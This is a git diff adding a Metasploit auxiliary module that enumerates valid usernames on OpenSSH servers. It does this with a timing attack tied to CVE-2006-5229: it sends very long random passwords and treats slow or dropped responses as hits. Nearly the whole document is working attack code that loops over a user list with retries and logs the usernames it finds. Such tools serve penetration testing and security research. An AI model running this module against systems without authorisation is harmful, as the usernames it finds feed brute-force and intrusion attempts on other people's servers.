diff --git a/modules/auxiliary/scanner/ssh/ssh_enumusers.rb b/modules/auxiliary/scanner/ssh/ssh_enumusers.rb new file mode 100644 index 0000000000..5a08c128e2 --- /dev/null +++ b/modules/auxiliary/scanner/ssh/ssh_enumusers.rb @@ -0,0 +1,156 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'net/ssh' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + include Msf::Auxiliary::CommandShell + + def initialize(info = {}) + super(update_info(info + 'Name' => 'SSH Username Enumeration', + 'Description' => %q{ + This module uses a time-based attack to enumerate users in a OpenSSH server. + }, + 'Author' => ['kenkeiras'], + 'References' => + [ + ['CVE', '2006-5229'] + ], + 'License' => MSF_LICENSE + )) + + register_options( + [ + Opt::RPORT(22), + OptPath.new('USER_FILE', + [true, 'File containing usernames, one per line', nil]), + OptInt.new('THRESHOLD', + [true, + 'Amount of seconds needed before a user is considered ' \ + 'found', 10]) + ], self.class + ) + + register_advanced_options( + [ + OptInt.new('RETRY_NUM', + [true , 'The number of attempts to connect to a SSH server' \ + ' for each user', 3]), + OptInt.new('SSH_TIMEOUT', + [false, 'Specify the maximum time to negotiate a SSH session', + 10]), + OptBool.new('SSH_DEBUG', + [false, 'Enable SSH debugging output (Extreme verbosity!)', + false]) + ] + ) + end + + def rport + datastore['RPORT'] + end + + def retry_num + datastore['RETRY_NUM'] + end + + def threshold + datastore['THRESHOLD'] + end + + def check_user(ip, user, port) + pass = Rex::Text.rand_text_alphanumeric(64_000) + + opt_hash = { + :auth_methods => ['password', 'keyboard-interactive'], + :msframework => framework, + :msfmodule => self, + :port => port, + :disable_agent => true, + :password => pass, + :config => false, + :proxies => datastore['Proxies'] + } + + opt_hash.merge!(:verbose => :debug) if datastore['SSH_DEBUG'] + + start_time = Time.new + + begin + ::Timeout.timeout(datastore['SSH_TIMEOUT']) do + Net::SSH.start(ip, user, opt_hash) + end + rescue Rex::ConnectionError, Rex::AddressInUse + return :connection_error + rescue Net::SSH::Disconnect, ::EOFError + return :success + rescue ::Timeout::Error + return :success + rescue Net::SSH::Exception + end + + finish_time = Time.new + + if finish_time - start_time > threshold + :success + else + :fail + end + end + + def do_report(ip, user, port) + report_auth_info( + :host => ip, + :port => rport, + :sname => 'ssh', + :user => user, + :active => true + ) + end + + def user_list + File.new(datastore['USER_FILE']).read.split + end + + def attempt_user(user, ip) + attempt_num = 0 + ret = nil + + while attempt_num <= retry_num and (ret.nil? or ret == :connection_error) + if attempt_num > 0 + Rex.sleep(2 ** attempt_num) + print_debug "Retrying '#{user}' on '#{ip}' due to connection error" + end + + ret = check_user(ip, user, rport) + attempt_num += 1 + end + + ret + end + + def show_result(attempt_result, user, ip) + case attempt_result + when :success + print_good "User '#{user}' found on #{ip}" + do_report(ip, user, rport) + when :connection_error + print_error "User '#{user}' on #{ip} could not connect" + when :fail + print_debug "User '#{user}' not found on #{ip}" + end + end + + def run_host(ip) + print_status "Starting scan on #{ip}" + user_list.each{ |user| show_result(attempt_user(user, ip), user, ip) } + end + +end